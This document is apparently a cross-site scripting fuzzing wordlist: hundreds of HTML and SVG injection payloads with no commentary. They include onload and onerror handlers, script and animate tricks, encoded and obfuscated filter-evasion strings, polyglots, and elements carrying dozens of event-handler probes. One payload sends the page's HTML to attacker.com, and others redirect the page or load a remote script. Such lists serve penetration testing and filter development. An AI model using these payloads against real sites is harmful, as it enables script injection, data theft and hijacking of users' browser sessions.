<summary onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</summary>
<sup onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</sup>
<svg onload=alert(1)>
<svg %09onload%09=prompt(1)>
<svg </onload ="1> (_=alert,_(1)) "">
<svg id=alert(1337) onload=eval(id)>
<svg id=javascript:alert(1337) onload=location=id>
<svg onclick=popup=1;>
<svg onload = alert('\u0031')>
<svg onload= +~-! alert(1)>
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
<svg onload="void 'javascript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e';"></svg>
<svg onload=(alert)(1)>
<svg onload=0?1:alert(9)>
<svg onload=1?alert(9):0>
<svg onload=\u0061lert(1)>
<svg onload=document.body.innerHTML=location.hash>#<img src='x'onerror=alert(1)>
<svg onload=document.body.innerHTML=location.hash>#<img src=x onerror=alert(1)>
<svg onload=document.body.innerHTML=location.hash>#<svg onload=prompt(1)>
<svg onload=document.body.innerHTML=location.hash>#<svg/onload=prompt(1)>
<svg onload=document.writeln(decodeURI(location.hash))>#<img src=onerror=alert(1)>
<svg onload=eval(window.name)//
<svg onload=evt.target[/innerHT/.source%2b/ML/.source]=evt.target[/ownerDocumen/.source%2b/t/.source][/U R/.source%2b/L/.source]#<img src=/ onerror=alert(domain)>
<svg onload=location='//p0.al'>
<svg onload=popup=1;>
<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
<svg onload=prompt(1);>
<svg onresize="alert(1)">
<svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/>
<svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> // By Mario
<svg xmlns="http://www.w3.org/2000/svg" id="foo"><x xmlns="http://www.w3.org/2001/xml-events" event="load" observer="foo" handler="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E alert(1) %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar"/></svg>
<svg xmlns="http://www.w3.org/2000/svg" id="x"><listener event="load" handler="#y" xmlns="http://www.w3.org/2001/xml-events" observer="x"/><handler id="y">alert(1)</handler></svg>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><animation xlink:href="javascript:alert(1)"/><animation xlink:href="data:text/xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'%3E%3C/svg%3E"/><image xlink:href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'%3E%3C/svg%3E"/><foreignObject xlink:href="javascript:alert(1)"/><foreignObject xlink:href="data:text/xml,%3Cscript xmlns='http://www.w3.org/1999/xhtml'%3Ealert(1)%3C/script%3E"/></svg>
<svg xmlns="http://www.w3.org/2000/svg"><a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(1)"><rect width="1000" height="1000" fill="white"/></a></svg>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg> // By Secalert
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>
<svg xmlns="http://www.w3.org/2000/svg"><handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load">alert(1)</handler></svg>
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script>
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>
<svg xmlns="http://www.w3.org/2000/svg"><set attributeName="onmouseover" to="alert(1)"/><animate attributeName="onunload" to="alert(1)"/></svg>
<svg%09%28%3Bonload=confirm(1);>
<svg%0Ao%00nload=%09((pro\u006dpt))()//
<svg%0Aonauxclick=0;[2].some(confirm)
<svg%0donload=alert(0)>
<svg%20onload=eval(unescape(location))><title>*/;alert(2);function%20text(){};function%20html(){
<svg%20onload=eval(unescape(location))><title>*/;alert(2);function%20text(){};function%20html(){}
<svg%20onload=evt.target.innerHTML=evt.target.ownerDocument.URL>#<img src=/ onerror=alert(domain)>
<svg+onload=+"[DATA]"
<svg+onload=+"aler%25%37%34(1)"
<svg+onload=confirm(1);>
<svg/contentScriptType=text/vbs><script>Execute(MsgBox(chr(75)&chr(67)&chr(70)))
<svg/language=vbs onload=msgbox-1
<svg/onload%0B=prompt(1)>
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">
<svg/onload=alert()>
<svg/onload=body[name]=URL%0d#</svg><img src=x onerror=alert(1)>"
<svg/onload=eval(atob(location.hash.slice(1)))>#YWxlcnQoMSkvLw==
<svg/onload=eval(location.hash.slice(1))>?#alert(1)
<svg/onload=location=/java/.source+/script/.source+location.h ash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.has h[3]//#:()
<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]#:()
<svg/onload=location=name//
<svg/onload=location=name//>
<svg/onload=location=name//”>CLICK</a>
<svg/onload=location=window[`atob`]`amF2YXNjcmlwdDphbGVydCgxKQ==`;//
<svg/onload=parent[/loca/.source%2b/tion/.source]=name//
<svg/onload=prompt(1)
<svg/onload=prompt(1);>
<svg/onload=setTimeout`alert\`1\``>
<svg/onload=t=/aler/.source+/t/.source;window.onerror=window[t];throw+1;//
<svg/onload=top[/loca/.source%2b/tion/.source]=name//
<svg/onload=top[‘loca’%2b’tion’]=name//
<svg:svg><svg:mask id="maskForClickjacking" maskUnits="objectBoundingBox" maskContentUnits="objectBoundingBox"><svg:rect x="0.0" y="0.0" width="0.373" height="0.3" fill="white"/><svg:circle cx="0.45" cy="0.7" r="0.075" fill="white"/></svg:mask></svg:svg></body>
<svg><![CDATA[><image xlink:href="]]]]><![CDATA[><img src=xx:x onerror=alert(2)//"></svg>
<svg><![CDATA[><imagexlink:href="]]]]><![CDATA[><img/src=xx:xonerror=alert(1)//"></svg>
<svg><![CDATA[><imagexlink:href="]]]]><![CDATA[><img/src=xx:xonerror=alert(2)//"></svg> // By Secalert
<svg><a xml:base="javascript:alert(1)//" href="#"><circle r="100" /></svg>
<svg><a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?"><circle r="400"></circle><animate attributeName="xlink:href" begin="0" from="javascript:alert(1)" to="&" /></a>
<svg><a xyz:href=123><text>test</text></svg>
<svg><animate href=#x attributeName=href values="　javascript:alert(5)"/><a id=x><circle r=100>
<svg><animate href=#x attributeName=href values="　javascript:alert(7)"/><a id=x><circle r=100>
<svg><div onactivate=alert('Xss') id=xss style=overflow:scroll>
<svg><image style='filter:url("data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(1)</script></svg>")'><!--Same effect with<image filter='...'>--></svg>
<svg><script /* /*/*/*>\u0061l\u0065rt`X`
<svg><script xlink:href="url(#)"></script></svg>
<svg><script xlink:href=data:,alert(1) />
<svg><script xss>\u0061l\u0065rt`X`</script>
<svg><script/href="xss.cx/xss.js"//>
<svg><script>123<1>alert(123)</script>
<svg><script>123<1>alert(3)</script>
<svg><script>a<!>le<!---->rt<?>(1</>)</script>
<svg><script>alert( 1)
<svg><script>alert( 1)<b>
<svg><script>alert(/1/)</script>
<svg><script>alert`1`<p>
<svg><script>alert`1`<p>
<svg><script>alert(1)<br>
<svg><script>prompt( 1)</script>
<svg><script>prompt( 1)<i>
<svg><script>varmyvar="text";alert(1)//";</script></svg>
<svg><set href=#script attributeName=href to=data:,alert(1)/>
<svg><style><img/src=x onerror=alert(1)// </b>
<svg><style><img src=x onerror=alert(1)></svg>
<svg><style>*{background:url('<![CDATA[</style></svg><img title=');]]]]><![CDATA[>]]]]><) autofocus>
<textarea onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</textarea>
<textarea onfocus=javascript:alert(1) autofocus>
<textarea>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</textarea>
<tfoot onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</tfoot>
<th onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</th>
<thead onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</thead>
<time onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</time>
<title onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</title>
<title onpropertychange=alert(1)></title><title title=></title>
<title onpropertychange=javascript:alert(202)></title><title title=>
<title/></title><iframe/onload=alert(1)>
<title>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</title>
<tr onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</tr>
